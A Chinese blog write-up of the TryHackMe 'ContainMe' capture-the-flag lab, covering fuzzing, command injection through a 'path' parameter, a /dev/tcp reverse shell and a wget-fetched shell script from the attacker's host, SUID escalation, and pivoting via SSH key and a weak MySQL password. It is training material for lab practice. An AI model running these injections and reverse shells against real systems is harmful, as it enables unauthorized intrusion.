漫游 THM-ContainMe-v4 靶机

Capture the flag!

一、信息收集

确认主机ip,扫端口和服务,curl一下得到网页,扫描目录

访问web相关页面

二、撕口子

经过基本的信息收集,暂时没什么思路,进一步观察web页面。

查看 index.php 的源代码后发现提示

说明此页面可能存在其他路径

进行模糊测试

wfuzz -c -w /usr/share/dirb/wordlists/common.txt -u http://192.168.5.142/index.php?FUZZ=/etc --filter "h!=329"

找到参数 path

这一步 burpsuite 也可以做

任意文件读取

但这里无法进一步访问内容

由结果的格式可知,这里估计执行了 ls -l [path]

故尝试命令执行

path=/etc;id

成功执行命令

反弹shell (在hacktools拿命令)

/bin/sh -i >& /dev/tcp/192.168.5.138/8999 0>&1

没有监听到

本地起http服务,把shell.sh下到靶机并执行

python -m http.server

注意 ls -la 查看什么文件具有写入权限,一般 /tmp 都是有的 

path=;wget -P /tmp 192.168.5.138/shell.sh

查看,下载成功

本地监听  nc -lvnp 8999

目标连接  path=;bash /tmp shell.sh

成功反弹到shell

三、提权 

查看当前用户可使用的特权命令

sudo -l

没用

试一下 suid 提权

find / -perm -4000 2>/dev/null

注意到意外的 crypt 

这里先翻翻其他的东西

也有一个 1cryptupx,且有执行权限,执行看看

执行 具有 suid 的 crypt 看看

也是一样的效果,根据我们的用户mike,尝试对 mike 进行 cryptshell

成功

但在 root 文件夹下面并没有东西

结合 gid 和 groups ,可能现在正处于容器中

用 ls -la 列出所有文件

在 Linux 系统中,.ssh 是一个隐藏目录,它位于用户的主目录下(即用户的 home 目录),用于存放 SSH(Secure Shell)相关的配置文件和认证信息。

翻一下文件,发现 /root/.ssh 无内容

而 /home/mike/.ssh 下有密钥信息

由于这是一个容器,所以查看当前网络确认目标范围

存在两个 ip 地址,可能需要对172网段再进行一个扫描

而目标机一般没有安装 nmap,想办法装一个

 apt install nmap

下载成功

nmap -sn 172.16.20.0/24  ping检查所有主机

预判一下它一定开了 22 ssh,然后用刚刚找到的 id_rsa 进行登录

建议,不要全端口扫,太慢了,简单扫

 ssh 连接

上私钥

不行,吐了?

再扫了一遍,结果令人震撼。绷不住啊。

 ???

这通常发生在 SSH 客户端从一个非交互式的环境(比如脚本或者重定向输入)连接到 SSH 服务器时。

只有使出那招了

确认python环境

python3 --version              (3.6.9版)

python3 -c 'import pty;pty.spawn("/bin/bash")'

获得交互式环境

 

连接成功

查看开放端口

netstat -tuln 

尝试寻找mysql的密码,但未成功

 使用弱口令进行尝试,结果是 password      (无语了)

翻数据

得到用户的账号和密码(包含root)

登录root,提权成功,接下来就是找flag

最后就是用  mike 的密码打开一个压缩包,得到flag

flag

THM{_Y0U_F0UND_TH3_C0NTA1N3RS_}

四、总结

md 我好菜~~~~~~~wuwuwuwuwuuwuw

五、补充说明

wfuzz

wfuzz 是一款用于评估 WEB 应用安全的模糊测试工具,它能够发现和利用网站的弱点或漏洞。

  • -c:这个选项是 --continue 的简写,表示如果 wfuzz 因为某些原因(如网络错误)中断,它会在下次运行时继续之前的工作。
  • -w:这个选项后面跟的是一个字典文件的路径,这里是 /usr/share/dirb/wordlists/common.txt,这个文件包含了一系列的单词或短语,用于尝试在目标 URL 中找到有效的目录或文件。
  • -u:这个选项后面跟的是要测试的目标 URL,这里是 http://192.168.5.142/index.php

nmap传送

在 Linux 系统中,将一个程序(如 nmap)从一个电脑(a电脑)传输到另一个电脑(b电脑)可以通过多种方式完成。以下是一些常用的方法:

1. SCP(Secure Copy Protocol):
   SCP 是基于 SSH 协议的文件传输工具,它可以安全地将文件从一个服务器复制到另一个服务器。
   bash
   scp /path/to/nmap a@b:/path/to/destination
   
   这里 /path/to/nmap 是 nmap 程序在 a电脑的路径,a@b 是 b电脑的用户名和地址,/path/to/destination 是 b电脑的目标路径。

2. SFTP(SSH File Transfer Protocol):
   SFTP 是另一种基于 SSH 协议的文件传输协议,它提供了一个交互式的界面来传输文件。
   bash
   sftp a@b
   
   连接后,你可以使用 put /path/to/nmap /path/to/destination 命令来上传文件。

3. rsync:
   rsync 是一个更强大的文件同步工具,它不仅可以传输文件,还可以同步文件的变化。
   bash
   rsync -avz /path/to/nmap a@b:/path/to/destination
   
   这里 -a 表示归档模式,-v 表示详细模式,-z 表示压缩数据传输。

4. FTP/SFTP 客户端:
   如果你有 FTP 或 SFTP 客户端,也可以使用它们来上传文件。

5. USB 驱动器:
   如果两台电脑在物理上是接近的,你可以将 nmap 程序复制到 USB 驱动器,然后手动将其插入 b电脑并复制过去。

6. 网络文件系统(NFS):
   如果两台电脑在同一个网络中,你可以设置 NFS 来共享文件。

7. 云存储服务:
   你可以使用 Dropbox、Google Drive、OneDrive 等云存储服务上传文件,然后在另一台电脑上下载。

请注意,nmap 是一个较大的程序,通常通过包管理器安装,而不是手动复制。如果你需要在 b电脑上安装 nmap,建议使用包管理器(如 apt、yum、dnf、pacman 等)来安装,这样可以确保依赖关系得到正确处理,并且程序可以正常运行。例如:

bash
# 对于基于 Debian/Ubuntu 的系统
sudo apt-get install nmap

# 对于基于 Fedora/CentOS/RHEL 的系统
sudo yum install nmap


如果你确实需要手动传输 nmap 程序文件,确保在 b 电脑上设置正确的权限,并且可能需要重新链接动态库。但通常来说,通过包管理器安装是更好的选择。
 

关于容器和两个ip的问题

命令复盘

find / -perm -4000 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值